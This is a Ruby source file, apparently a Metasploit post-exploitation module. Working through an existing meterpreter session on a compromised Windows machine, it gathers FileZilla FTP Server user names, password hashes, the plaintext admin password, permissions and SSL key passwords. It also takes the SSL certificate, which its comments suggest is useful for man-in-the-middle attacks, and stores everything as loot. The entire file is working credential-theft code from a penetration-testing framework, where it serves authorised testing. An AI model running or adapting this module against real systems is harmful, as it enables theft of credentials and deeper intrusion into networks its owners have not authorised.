metasploit-framework/modules/post/windows/gather/credentials/filezilla_server.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'
require 'rexml/document'

class Metasploit3 < Msf::Post

  include Msf::Post::File

  def initialize(info={})
    super( update_info(info,
      'Name'           => 'Windows Gather FileZilla FTP Server Credential Collection',
      'Description'    => %q{ This module will collect credentials from the FileZilla FTP server if installed. },
      'License'        => MSF_LICENSE,
      'Author'         => ['bannedit'],
      'Platform'       => ['win'],
      'SessionTypes'   => ['meterpreter' ]
    ))

    register_options(
      [
        OptBool.new('SSLCERT', [false, 'Loot the SSL Certificate if its there?', false]), # useful perhaps for MITM
      ], self.class)
  end

  def run
    if session.type != "meterpreter"
      print_error "Only meterpreter sessions are supported by this post module"
      return
    end

    drive = session.fs.file.expand_path("%SystemDrive%")
    case session.platform
    when /win64/i
      @progs = drive + '\\Program Files (x86)\\'
    when /win32/i
      @progs = drive + '\\Program Files\\'
    end

    filezilla = check_filezilla
    if filezilla != nil
      get_filezilla_creds(filezilla)
    end
  end

  def check_filezilla
    paths = []
    path = @progs + "FileZilla Server\\"

    print_status("Checking for Filezilla Server directory in: #{path}")

    begin
      session.fs.dir.entries(path)
    rescue ::Exception => e
      print_error(e.to_s)
      return
    end

    session.fs.dir.foreach(path) do |fdir|
      if fdir =~ /FileZilla\sServer.*\.xml/i
        paths << path + fdir
      end
    end

    if !paths.empty?
      print_status("Found FileZilla Server")
      print_line("")
      paths << path + 'FileZilla Server.xml'
      paths << path + 'FileZilla Server Interface.xml'

      return paths
    end

    return nil
  end

  def get_filezilla_creds(paths)
    fs_xml = ""
    fsi_xml = ""
    credentials = Rex::Ui::Text::Table.new(
    'Header'    => "FileZilla FTP Server Credentials",
    'Indent'    => 1,
    'Columns'   =>
    [
      "Host",
      "Port",
      "User",
      "Password",
      "SSL"
    ])

    permissions = Rex::Ui::Text::Table.new(
    'Header'    => "FileZilla FTP Server Permissions",
    'Indent'    => 1,
    'Columns'   =>
    [
      "Host",
      "User",
      "Dir",
      "FileRead",
      "FileWrite",
      "FileDelete",
      "FileAppend",
      "DirCreate",
      "DirDelete",
      "DirList",
      "DirSubdirs",
      "AutoCreate",
      "Home"
    ])

    configuration = Rex::Ui::Text::Table.new(
    'Header'    => "FileZilla FTP Server Configuration",
    'Indent'    => 1,
    'Columns'   =>
    [
      "FTP Port",
      "FTP Bind IP",
      "Admin Port",
      "Admin Bind IP",
      "Admin Password",
      "SSL",
      "SSL Certfile",
      "SSL Key Password"
    ])

    file = session.fs.file.new(paths[1], "rb")
    until file.eof?
      fs_xml << file.read
    end
    file.close

    # user credentials password is just an MD5 hash
    # admin pass is just plain text. Priorities?
    creds, perms, config = parse_server(fs_xml)

    creds.each do |cred|
      credentials << [cred['host'], cred['port'], cred['user'], cred['password'], cred['ssl']]

      if session.db_record
        source_id = session.db_record.id
      else
        source_id = nil
      end

      # report the goods!
      report_auth_info(
        :host  => session.sock.peerhost,
        :port => config['ftp_port'],
        :sname => 'ftp',
        :proto => 'tcp',
        :user => cred['user'],
        :pass => cred['password'],
        :ptype => "MD5 hash",
        :source_id => source_id,
        :source_type => "exploit",
        :target_host => config['ftp_bindip'],
        :target_port => config['ftp_port']
      )
    end

    perms.each do |perm|
    permissions << [perm['host'], perm['user'], perm['dir'], perm['fileread'], perm['filewrite'], perm['filedelete'], perm['fileappend'],
      perm['dircreate'], perm['dirdelete'], perm['dirlist'], perm['dirsubdirs'], perm['autocreate'], perm['home']]
    end

    vprint_status("    Collected the following configuration details:")
    vprint_status("       FTP Port: %s" % config['ftp_port'])
    vprint_status("    FTP Bind IP: %s" % config['ftp_bindip'])
    vprint_status("            SSL: %s" % config['ssl'])
    vprint_status("     Admin Port: %s" % config['admin_port'])
    vprint_status("  Admin Bind IP: %s" % config['admin_bindip'])
    vprint_status("     Admin Pass: %s" % config['admin_pass'])
    vprint_line("")

    configuration << [config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'], config['admin_pass'],
      config['ssl'], config['ssl_certfile'], config['ssl_keypass']]
    if session.db_record
      source_id = session.db_record.id
    else
      source_id = nil
    end
    # report the goods!
    if config['admin_port'] == "<none>"
      #if report_auth_info executes with admin_port equal to "<none>"
      #the module will crash with an error.
      vprint_status("(No admin information found.)")
    else
      report_auth_info(
        :host  => session.sock.peerhost,
        :port => config['admin_port'],
        :sname => 'filezilla-admin',
        :proto => 'tcp',
        :user => 'admin',
        :pass => config['admin_pass'],
        :type => "password",
        :source_id => source_id,
        :source_type => "exploit",
        :target_host => config['admin_bindip'],
        :target_port => config['admin_port']
      )
    end

    p = store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv,
      "filezilla_server_credentials.csv", "FileZilla FTP Server Credentials")

    print_status("Credentials saved in: #{p.to_s}")

    p = store_loot("filezilla.server.perms", "text/csv", session, permissions.to_csv,
      "filezilla_server_permissions.csv", "FileZilla FTP Server Permissions")

    print_status("Permissions saved in: #{p.to_s}")

    p = store_loot("filezilla.server.config", "text/csv", session, configuration.to_csv,
      "filezilla_server_configuration.csv", "FileZilla FTP Server Configuration")

    print_status("Config saved in: #{p.to_s}")
  end

  def parse_server(data)
    creds  = []
    perms  = []
    settings = {}
    users = 0
    passwords = 0
    groups = []
    perm = {}

    doc = REXML::Document.new(data).root

    items = doc.elements.to_a("//Settings//Item/")
    settings['ftp_port'] = items[0].text rescue "<none>"
    settings['admin_port'] = items[16].text rescue "<none>"
    settings['admin_pass'] = items[17].text rescue "<none>"
    settings['local_host'] = items[18].text rescue ""
    settings['bindip'] = items[38].text rescue ""
    settings['ssl'] = items[42].text rescue ""

    if settings['local_host'] # empty means localhost only * is 0.0.0.0
      settings['admin_bindip'] = settings['local_host']
    else
      settings['admin_bindip'] = "127.0.0.1"
    end
    if settings['admin_bindip'] == "*"
      settings['admin_bindip'] = "0.0.0.0"
    end

    if settings['bindip']
      settings['ftp_bindip'] = settings['bindip']
    else
      settings['ftp_bindip'] = "127.0.0.1"
    end

    # make the bindip a little easier to understand
    if settings['ftp_bindip'] == "*"
      settings['ftp_bindip'] = "0.0.0.0"
    end

    if settings['ssl'] == "1"
      settings['ssl'] = "true"
    else
      if datastore['SSLCERT']
        print_error("Cannot loot the SSL Certificate, SSL is disabled in the configuration file")
      end
      settings['ssl'] = "false"
    end

    settings['ssl_certfile'] = items[45].text rescue "<none>"
    if settings['ssl_certfile'] != "<none>" and settings['ssl'] == "true" and datastore['SSLCERT'] # lets get the file if its there could be useful in MITM attacks
      sslfile = session.fs.file.new(settings['ssl_certfile'])
      until sslfile.eof?
        sslcert << sslfile.read
      end
      store_loot("filezilla.server.ssl.cert", "text/plain", session, sslfile,
        settings['ssl_cert'] + ".txt", "FileZilla Server SSL Certificate File" )
      print_status("Looted SSL Certificate File")
    end

    if settings['ssl_certfile'].nil?
      settings['ssl_certfile'] = "<none>"
    end

    settings['ssl_keypass'] = items[50].text rescue "<none>"

    if settings['ssl_keypass'].nil?
      settings['ssl_keypass'] = "<none>"
    end

    doc.elements['Users'].elements.each('User') do |user|
      account = {}
      account['user'] = user.attributes['Name'] rescue "<none>"
      users += 1
      opt = user.elements.to_a("//User//Option/")
      account['password'] = opt[0].text rescue "<none>"
      account['group'] = opt[1].text rescue "<none>"
      passwords += 1
      groups << account['group']

      user.elements.to_a("//User//Permissions//Permission").each do |permission|
        perm['user'] = account['user'] # give some context as to which user has these permissions
        perm['dir'] = permission.attributes['Dir']
        opt = permission.elements.to_a("//User//Permissions//Permission//Option")
        perm['fileread']   = opt[0].text rescue "<unknown>"
        perm['filewrite']  = opt[1].text rescue "<unknown>"
        perm['filedelete'] = opt[2].text rescue "<unknown>"
        perm['fileappend'] = opt[3].text rescue "<unknown>"
        perm['dircreate']  = opt[4].text rescue "<unknown>"
        perm['dirdelete']  = opt[5].text rescue "<unknown>"
        perm['dirlist']    = opt[6].text rescue "<unknown>"
        perm['dirsubdirs'] = opt[7].text rescue "<unknown>"
        perm['autocreate'] = opt[9].text rescue "<unknown>"

        if opt[8].text == "1"
          perm['home'] = "true"
        else
          perm['home'] = "false"
        end
        perms << perm

      end

      user.elements.to_a("//User//IpFilter//Allowed").each do |allowed|
      end
      user.elements.to_a("//User//IpFilter//Disallowed").each do |disallowed|
      end

      account['host'] = settings['ftp_bindip']
      perm['host']    = settings['ftp_bindip']
      account['port'] = settings['ftp_port']
      account['ssl']  = settings['ssl']
      creds << account

      vprint_status("    Collected the following credentials:")
      vprint_status("    Username: %s" % account['user'])
      vprint_status("    Password: %s" % account['password'])
      vprint_status("       Group: %s" % account['group'])
      vprint_line("")
    end

    groups = groups.uniq unless groups.uniq.nil?
    if !datastore['VERBOSE']
      print_status("    Collected the following credentials:")
      print_status("    Usernames: %u" % users)
      print_status("    Passwords: %u" % passwords)
      print_status("       Groups: %u" % groups.length)
      print_line("")
    end
    return [creds, perms, settings]
  end

  def got_root?
    if session.sys.config.getuid =~ /SYSTEM/
      return true
    end
    return false
  end

  def whoami
    return session.fs.file.expand_path("%USERNAME%")
  end
end